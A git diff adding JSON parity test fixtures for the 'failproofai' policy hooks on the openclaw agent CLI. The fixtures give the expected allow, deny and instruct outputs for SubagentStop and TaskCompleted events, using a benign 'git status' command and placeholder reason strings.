a/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4d2cbf62 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..06fdde9c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1244cc35 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..db61b573 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ec5d1c78 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d61857d3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5bef9222 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a57fa8be --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e29c3d15 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..049e8ce2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..de19b5e3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e03a9706 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..05f9cbd6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bc48e028 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c04e79ea --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c57feaef --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fd790f1f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6047be00 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: 